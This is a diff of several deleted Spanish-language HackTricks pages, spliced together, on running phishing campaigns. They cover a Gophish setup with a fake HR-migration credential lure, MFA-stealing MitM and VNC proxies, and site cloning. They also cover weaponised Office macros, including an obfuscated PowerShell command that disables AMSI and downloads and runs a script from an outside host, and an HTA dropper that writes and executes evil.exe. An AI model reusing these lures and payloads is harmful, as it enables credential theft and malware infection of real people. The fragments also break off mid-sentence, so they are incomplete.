Recomendaría **enviar los correos electrónicos de prueba a direcciones de correo electrónico de 10 minutos** para evitar ser incluido en la lista negra durante las pruebas.
|
||||
{% endhint %}
|
||||
|
||||
### Plantilla de correo electrónico
|
||||
|
||||
* Establece algún **nombre para identificar** la plantilla
|
||||
* Luego escribe un **asunto** (nada extraño, solo algo que podrías esperar leer en un correo electrónico normal)
|
||||
* Asegúrate de haber marcado "**Agregar imagen de seguimiento**"
|
||||
* Escribe la **plantilla de correo electrónico** (puedes usar variables como en el siguiente ejemplo):
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
|
||||
|
||||
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">As you may be aware, due to the large number of employees working from home, the "PLATFORM NAME" platform is being migrated to a new domain with an improved and more secure version. To finalize account migration, please use the following link to log into the new HR portal and move your account to the new site: <a href="{{.URL}}"> "PLATFORM NAME" login portal </a><br />
|
||||
<br />
|
||||
Please Note: We require all users to move their accounts by 04/01/2021. Failure to confirm account migration may prevent you from logging into the application after the migration process is complete.<br />
|
||||
<br />
|
||||
Regards,</span></p>
|
||||
|
||||
WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
<p>{{.Tracker}}</p>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Nota que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un correo electrónico del cliente. Sugerencias:
|
||||
|
||||
* Enviar un correo electrónico a una **dirección inexistente** y comprobar si la respuesta tiene alguna firma.
|
||||
* Buscar **correos electrónicos públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo electrónico y esperar la respuesta.
|
||||
* Intentar contactar algún correo electrónico **válido descubierto** y esperar la respuesta.
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
La plantilla de correo electrónico también permite **adjuntar archivos para enviar**. Si también desea robar desafíos NTLM utilizando algunos archivos/documentos especialmente diseñados, [lea esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
{% endhint %}
|
||||
|
||||
### Página de destino
|
||||
|
||||
* Escribir un **nombre**
|
||||
* **Escribir el código HTML** de la página web. Tenga en cuenta que puede **importar** páginas web.
|
||||
* Marcar **Capturar datos enviados** y **Capturar contraseñas**
|
||||
* Establecer una **redirección**
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Por lo general, deberá modificar el código HTML de la página y realizar algunas pruebas en local (tal vez usando algún servidor Apache) **hasta que le gusten los resultados**. Luego, escriba ese código HTML en el cuadro.\
|
||||
Tenga en cuenta que si necesita **usar algunos recursos estáticos** para el HTML (tal vez algunas páginas CSS y JS) puede guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Para la redirección, podría **redirigir a los usuarios a la página web principal legítima** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
|
||||
{% endhint %}
|
||||
|
||||
### Usuarios y grupos
|
||||
|
||||
* Establecer un nombre
|
||||
* **Importar los datos** (tenga en cuenta que para usar la plantilla para el ejemplo, necesita el nombre, apellido y dirección de correo electrónico de cada usuario)
|
||||
|
||||
.png>)
|
||||
|
||||
### Campaña
|
||||
|
||||
Finalmente, cree una campaña seleccionando un nombre, la plantilla de correo electrónico, la página de destino, la URL, el perfil de envío y el grupo. Tenga en cuenta que la URL será el enlace enviado a las víctimas.
|
||||
|
||||
Tenga en cuenta que el **perfil de envío permite enviar un correo electrónico de prueba para ver cómo se verá el correo electrónico de phishing final**:
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Recomendaría **enviar los correos electrónicos de prueba a direcciones de correo electrónico de 10 minutos** para evitar ser bloqueado haciendo pruebas.
|
||||
{% endhint %}
|
||||
|
||||
¡Una vez que todo esté listo, simplemente lance la campaña!
|
||||
|
||||
## Clonación de sitios web
|
||||
|
||||
Si por alguna razón desea clonar el sitio web, consulte la siguiente página:
|
||||
|
||||
{% content-ref url="clone-a-website.md" %}
|
||||
[clone-a-website.md](clone-a-website.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Documentos y archivos con puerta trasera
|
||||
|
||||
En algunas evaluaciones de phishing (principalmente para equipos rojos), también querrá **enviar archivos que contengan algún tipo de puerta trasera** (tal vez un C2 o tal vez algo que desencadene una autenticación).\
|
||||
Consulte la siguiente página para ver algunos ejemplos:
|
||||
|
||||
{% content-ref url="phishing-documents.md" %}
|
||||
[phishing-documents.md](phishing-documents.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Phishing MFA
|
||||
|
||||
### A través de Proxy MitM
|
||||
|
||||
El ataque anterior es bastante inteligente ya que está falsificando un sitio web real y recopilando la información establecida por el usuario. Desafortunadamente, si el usuario no puso la contraseña correcta o si la aplicación que falsificó está configurada con 2FA, **esta información no le permitirá suplantar al usuario engañado**.
|
||||
|
||||
Es aquí donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2) o [**CredSniper**](https://github.com/ustayready/CredSniper) son útiles. Esta herramienta le permitirá generar un ataque similar a MitM. Básicamente, el ataque funciona de la siguiente manera:
|
||||
|
||||
1. Usted **suplanta el formulario de inicio de sesión** de la página web real.
|
||||
2. El usuario **envía** sus **credenciales** a su página falsa y la herramienta las envía a la página web real, **comprobando si las credenciales funcionan**.
|
||||
3. Si la cuenta está configurada con **2FA**, la página MitM lo solicitará y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real.
|
||||
4. Una vez que el usuario está autenticado, usted (como atacante) habrá **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM.
|
||||
|
||||
### A través de VNC
|
||||
|
||||
¿Qué pasa si en lugar de **enviar a la víctima a una página maliciosa** con el mismo aspecto que la original, lo envía a una **sesión VNC con un navegador conectado a la página web real**? Podrá ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\
|
||||
Puede hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Detectando la detección
|
||||
|
||||
Obviamente, una de las mejores formas de saber si ha sido descubierto es **buscar su dominio en listas negras**. Si aparece en la lista, de alguna manera se detectó su dominio como sospechoso.\
|
||||
Una forma sencilla de comprobar si su dominio aparece en alguna lista negra es utilizar [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la red** como se explica en:
|
||||
|
||||
{% content-ref url="detecting-phising.md" %}
|
||||
[detecting-phising.md](detecting-phising.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Puede **comprar un dominio con un nombre muy similar** al del dominio de la víctima y/o generar un certificado para un **subdominio** de un dominio controlado por usted **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza algún tipo de **interacción DNS o HTTP** con ellos, sabrá que **está buscando activamente** dominios sospechosos y deberá ser muy sigiloso.
|
||||
|
||||
### Evaluar el phishing
|
||||
|
||||
Use [**Phishious** ](https://github.com/Rices/Phishious)para evaluar si su correo electrónico terminará en la carpeta de spam o si será bloqueado o exitoso.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks
|
||||
|
|
@ -1,92 +0,0 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Para una evaluación de phishing, a veces puede ser útil **clonar completamente un sitio web**.
|
||||
|
||||
Tenga en cuenta que también puede agregar algunos payloads al sitio web clonado, como un gancho BeEF para "controlar" la pestaña del usuario.
|
||||
|
||||
Existen diferentes herramientas que puede utilizar para este propósito:
|
||||
|
||||
## wget
|
||||
```text
|
||||
wget -mk -nH
|
||||
```
|
||||
## goclone
|
||||
|
||||
El comando `goclone` es una herramienta de línea de comandos que permite clonar sitios web completos, incluyendo todas las páginas, imágenes y otros recursos. Esta herramienta es muy útil para realizar ataques de phishing, ya que permite crear una copia exacta de un sitio web legítimo y engañar a los usuarios para que ingresen sus credenciales en la página clonada.
|
||||
|
||||
Para utilizar `goclone`, primero debemos instalarlo en nuestro sistema. Luego, podemos ejecutar el comando `goclone` seguido de la URL del sitio web que deseamos clonar y la ruta donde deseamos guardar la copia. Una vez que se completa el proceso de clonación, podemos modificar la página clonada para agregar nuestro código malicioso y personalizarla para que se vea más convincente.
|
||||
|
||||
Es importante tener en cuenta que el uso de `goclone` para fines maliciosos es ilegal y puede tener graves consecuencias legales. Solo debe ser utilizado con fines educativos o de prueba en entornos controlados y con el permiso explícito del propietario del sitio web que se está clonando.
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
```
|
||||
## Kit de herramientas de ingeniería social
|
||||
|
||||
---
|
||||
|
||||
### Clonar un sitio web
|
||||
|
||||
#### Descripción
|
||||
|
||||
Clonar un sitio web es una técnica comúnmente utilizada en la ingeniería social para engañar a las víctimas y hacer que ingresen información confidencial en un sitio web falso. Esta técnica es muy efectiva y se utiliza con frecuencia en ataques de phishing.
|
||||
|
||||
#### Procedimiento
|
||||
|
||||
1. Identificar el sitio web que se va a clonar.
|
||||
2. Descargar el sitio web utilizando herramientas como `wget` o `httrack`.
|
||||
3. Modificar el sitio web clonado para que se parezca al sitio web original.
|
||||
4. Configurar el sitio web clonado en un servidor web.
|
||||
5. Enviar un correo electrónico o mensaje de texto a la víctima con un enlace al sitio web clonado.
|
||||
6. Esperar a que la víctima ingrese información confidencial en el sitio web clonado.
|
||||
|
||||
#### Ejemplo
|
||||
|
||||
Supongamos que un atacante quiere obtener las credenciales de inicio de sesión de un sitio web de banca en línea. El atacante podría seguir los siguientes pasos:
|
||||
|
||||
1. Identificar el sitio web de banca en línea que se va a clonar.
|
||||
2. Descargar el sitio web utilizando `wget`.
|
||||
3. Modificar el sitio web clonado para que se parezca al sitio web original.
|
||||
4. Configurar el sitio web clonado en un servidor web.
|
||||
5. Enviar un correo electrónico a la víctima con un enlace al sitio web clonado, haciéndose pasar por el sitio web de banca en línea.
|
||||
6. Esperar a que la víctima ingrese sus credenciales de inicio de sesión en el sitio web clonado.
|
||||
7. Recopilar las credenciales de inicio de sesión de la víctima.
|
||||
|
||||
#### Contramedidas
|
||||
|
||||
- Utilizar autenticación de dos factores.
|
||||
- Capacitar a los usuarios para que identifiquen sitios web falsos.
|
||||
- Utilizar herramientas de detección de phishing.
|
||||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,60 +0,0 @@
|
|||
# Detectando Phishing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com).
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Introducción
|
||||
|
||||
Para detectar un intento de phishing es importante **entender las técnicas de phishing que se están utilizando hoy en día**. En la página principal de esta publicación, puedes encontrar esta información, así que si no estás al tanto de las técnicas que se están utilizando hoy en día, te recomiendo que vayas a la página principal y leas al menos esa sección.
|
||||
|
||||
Esta publicación se basa en la idea de que los **atacantes intentarán de alguna manera imitar o usar el nombre de dominio de la víctima**. Si tu dominio se llama `ejemplo.com` y te hacen phishing usando un nombre de dominio completamente diferente por alguna razón, como `hasganadoelloteria.com`, estas técnicas no lo descubrirán.
|
||||
|
||||
## Variaciones de nombres de dominio
|
||||
|
||||
Es bastante **fácil** descubrir aquellos intentos de **phishing** que utilizarán un **nombre de dominio similar** dentro del correo electrónico.\
|
||||
Es suficiente con **generar una lista de los nombres de phishing más probables** que un atacante puede usar y **comprobar** si está **registrado** o simplemente comprobar si hay alguna **IP** usándolo.
|
||||
|
||||
### Encontrando dominios sospechosos
|
||||
|
||||
Para este propósito, puedes usar cualquiera de las siguientes herramientas. Ten en cuenta que estas herramientas también realizarán solicitudes DNS automáticamente para comprobar si el dominio tiene alguna IP asignada:
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
### Bitflipping
|
||||
|
||||
En el mundo de la informática, todo se almacena en bits (ceros y unos) en la memoria detrás de escena.\
|
||||
Esto también se aplica a los dominios. Por ejemplo, _windows.com_ se convierte en _01110111..._ en la memoria volátil de tu dispositivo informático.\
|
||||
Sin embargo, ¿qué pasa si uno de estos bits se invierte automáticamente debido a una llamarada solar, rayos cósmicos o un error de hardware? Es decir, uno de los 0 se convierte en 1 y viceversa.\
|
||||
Aplicando este concepto a las solicitudes DNS, es posible que el **dominio solicitado** que llega al servidor DNS **no sea el mismo que el dominio solicitado inicialmente**.
|
||||
|
||||
Por ejemplo, una modificación de 1 bit en el dominio microsoft.com puede transformarlo en _windnws.com._\
|
||||
**Los atacantes pueden registrar tantos dominios de bit-flipping como sea posible relacionados con la víctima para redirigir a los usuarios legítimos a su infraestructura**.
|
||||
|
||||
Para obtener más información, lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
**Todos los posibles nombres de dominio de bit-flipping también deben ser monitoreados.**
|
||||
|
||||
### Comprobaciones básicas
|
||||
|
||||
Una vez que tengas una lista de posibles nombres de dominio sospechosos, debes **comprobarlos** (principalmente los puertos HTTP y HTTPS) para **ver si están usando algún formulario de inicio de sesión similar** a alguien del dominio de la víctima.\
|
||||
También podrías comprobar el puerto 3333 para ver si está abierto y ejecutando una instancia de `gophish`.\
|
||||
También es interesante saber **cuánto tiempo tiene cada dominio sospechoso descubierto**, cuanto más joven sea, más riesgoso será.\
|
||||
También puedes obtener **capturas de pantalla** de la página web HTTP y/o HTTPS sospechosa para ver si es sospechosa y en ese caso **acceder a ella para profundizar**.
|
||||
|
||||
### Comprobaciones avanzadas
|
||||
|
||||
Si quieres ir un paso más allá, te recomendaría **monitorear esos dominios sospechosos y buscar más** de vez en cuando (¿todos los días? solo toma unos segundos/minutos). También debes **comprobar** los **puertos** abiertos de las IPs relacionadas y **buscar instancias de `gophish
|
||||
|
|
@ -1,182 +0,0 @@
|
|||
## Archivos y Documentos de Phishing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Documentos de Office
|
||||
|
||||
Microsoft Word realiza una validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de estructura de datos, según el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
|
||||
|
||||
Por lo general, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible cambiar el nombre del archivo cambiando la extensión del archivo y aún así mantener su capacidad de ejecución de macros.\
|
||||
Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
|
||||
Los mismos mecanismos internos se aplican a todo el software de la suite de Microsoft Office (Excel, PowerPoint, etc.).
|
||||
|
||||
Puede utilizar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Los archivos DOCX que hacen referencia a una plantilla remota (Archivo - Opciones - Complementos - Administrar: Plantillas - Ir) que incluye macros también pueden "ejecutar" macros.
|
||||
|
||||
### Carga de imagen externa
|
||||
|
||||
Ir a: _Insertar --> Partes rápidas --> Campo_\
|
||||
_**Categorías**: Vínculos y referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://\<ip>/lo-que-sea
|
||||
|
||||
.png>)
|
||||
|
||||
### Puerta trasera de macros
|
||||
|
||||
Es posible utilizar macros para ejecutar código arbitrario desde el documento.
|
||||
|
||||
#### Funciones de carga automática
|
||||
|
||||
Cuanto más comunes sean, más probable es que el AV las detecte.
|
||||
|
||||
* AutoOpen()
|
||||
* Document\_Open()
|
||||
|
||||
#### Ejemplos de código de macros
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
End Sub
|
||||
```
|
||||
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
|
||||
Dim Shell As Object
|
||||
Set Shell = CreateObject("wscript.shell")
|
||||
Shell.Run "calc"
|
||||
|
||||
End Sub
|
||||
```
|
||||
|
||||
```vba
|
||||
Dim author As String
|
||||
author = oWB.BuiltinDocumentProperties("Author")
|
||||
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
|
||||
.StdIn.WriteLine author
|
||||
.StdIn.WriteBlackLines 1
|
||||
```
|
||||
|
||||
```vba
|
||||
Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Eliminar manualmente los metadatos
|
||||
|
||||
Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento**, lo que abrirá el Inspector de documentos. Haz clic en **Inspeccionar** y luego en **Eliminar todo** junto a **Propiedades del documento e información personal**.
|
||||
|
||||
#### Extensión de documento
|
||||
|
||||
Cuando hayas terminado, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** alrededor de la extensión macro habilitada **`.docm`** (por ejemplo, el icono en miniatura tiene un enorme `!` y algunos gateways web/correo electrónico los bloquean por completo). Por lo tanto, esta **extensión de legado `.doc` es el mejor compromiso**.
|
||||
|
||||
#### Generadores de macros maliciosos
|
||||
|
||||
* MacOS
|
||||
* [**macphish**](https://github.com/cldrn/macphish)
|
||||
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## Archivos HTA
|
||||
|
||||
Un HTA es un programa propietario de Windows cuyo **código fuente consiste en HTML y uno o más lenguajes de script** compatibles con Internet Explorer (VBScript y JScript). HTML se utiliza para generar la interfaz de usuario y el lenguaje de script para la lógica del programa. Un **HTA se ejecuta sin las limitaciones del modelo de seguridad del navegador**, por lo que se ejecuta como una aplicación "totalmente confiable".
|
||||
|
||||
Un HTA se ejecuta utilizando **`mshta.exe`**, que normalmente está **instalado** junto con **Internet Explorer**, lo que hace que **`mshta` dependa de IE**. Por lo tanto, si se ha desinstalado, los HTA no podrán ejecutarse.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
<head>
|
||||
<title>Hello World</title>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Hello World</h2>
|
||||
<p>This is an HTA...</p>
|
||||
</body>
|
||||
|
||||
<script language="VBScript">
|
||||
Function Pwn()
|
||||
Set shell = CreateObject("wscript.Shell")
|
||||
shell.run "calc"
|
||||
End Function
|
||||
|
||||
Pwn
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
|
||||
```html
|
||||
<--! Cobal Strike generated HTA without shellcode -->
|
||||
<script language="VBScript">
|
||||
Function var_func()
|
||||
var_shellcode = "<shellcode>"
|
||||
|
||||
Dim var_obj
|
||||
Set var_obj = CreateObject("Scripting.FileSystemObject")
|
||||
Dim var_stream
|
||||
Dim var_tempdir
|
||||
Dim var_tempexe
|
||||
Dim var_basedir
|
||||
Set var_tempdir = var_obj.GetSpecialFolder(2)
|
||||
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
|
||||
var_obj.CreateFolder(var_basedir)
|
||||
var_tempexe = var_basedir & "\" & "evil.exe"
|
||||
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
|
||||
For i = 1 to Len(var_shellcode) Step 2
|
||||
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
|
||||
Next
|
||||
var_stream.Close
|
||||
Dim var_shell
|
||||
Set var_shell = CreateObject("Wscript.Shell")
|
||||
var_shell.run var_tempexe, 0, true
|
||||
var_obj.DeleteFile(var_tempexe)
|
||||
var_obj.DeleteFolder(var_basedir)
|
||||
End Function
|
||||
|
||||
var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forzando la autenticación NTLM
|
||||
|
||||
Existen varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, se pueden agregar **imágenes invisibles** a correos electrónicos o HTML a los que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta**.
|
||||
|
||||
**Revise estas ideas y más en las siguientes páginas:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
